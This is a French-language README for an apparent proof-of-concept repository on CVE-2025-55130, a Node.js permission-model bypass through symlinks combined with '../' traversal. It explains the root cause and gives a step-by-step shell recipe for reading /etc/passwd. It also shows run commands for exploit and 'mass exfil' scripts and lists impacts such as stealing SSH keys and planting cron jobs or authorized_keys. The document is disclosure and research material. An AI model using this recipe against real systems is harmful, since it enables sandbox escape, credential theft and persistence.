CVE-2025-55130 - Échappement de modèle de permission Node.js par symlink
___ _ _ ___ ____ ___ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Node.js Permission Model Bypass via Crafted Symlinks
[ Découvert par natann @ JFrog ]
Aperçu
Une faille de traversal de chemin dans Node.js permet de sortir des restrictions de permission --allow-fs-read et --allow-fs-write en utilisant des symlinks pointant vers des chemins absolus combinés à une traversal relative.
La vérification de permission et la résolution de chemin se produisent séparément. Une fois que le chemin initial passe la vérification de permission, le symlink est suivi et les séquences de traversal échappent au sandbox.
Versions affectées
Analyse technique
Cause racine
Permission Check: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
Path Resolution: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Resolves to /etc/passwd - OUTSIDE SANDBOX
Le modèle de permission valide la chaîne de chemin avant la résolution du symlink. En créant un symlink vers un chemin absolu et en utilisant une traversal ../ APRÈS le symlink, nous sortons du répertoire autorisé.
Flux d'attaque
1. mkdir -p ./a/b/c/d/e/f/g # Créer des répertoires imbriqués dans le chemin autorisé
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # Symlink vers un chemin absolu
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
La vérification de permission réussit (dans ./)
Après résolution du symlink :
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
La traversal échappe à la racine
Fichiers
| Fichier | Objectif |
|---|
exploit.js | Exploit principal - lire des fichiers arbitraires |
exploit_write.js |
Utilisation
# Basic exploitation
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# Check if vulnerable
node check.js
# Mass exfil
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
Impact
- Lire des fichiers sensibles : /etc/passwd, /etc/shadow, clés SSH, configurations
- Écrire des fichiers arbitraires : tâches cron, authorized_keys, configurations
- Échappement de conteneur dans des environnements multi-locataires
- Contournement du sandbox pour exécution de code non fiable
Références
Crédits
- Vulnérabilité : Natan Nehorai (natann) @ JFrog Security Research
- Correction : RafaelGSS @ Node.js
Pour recherche et tests autorisés uniquement.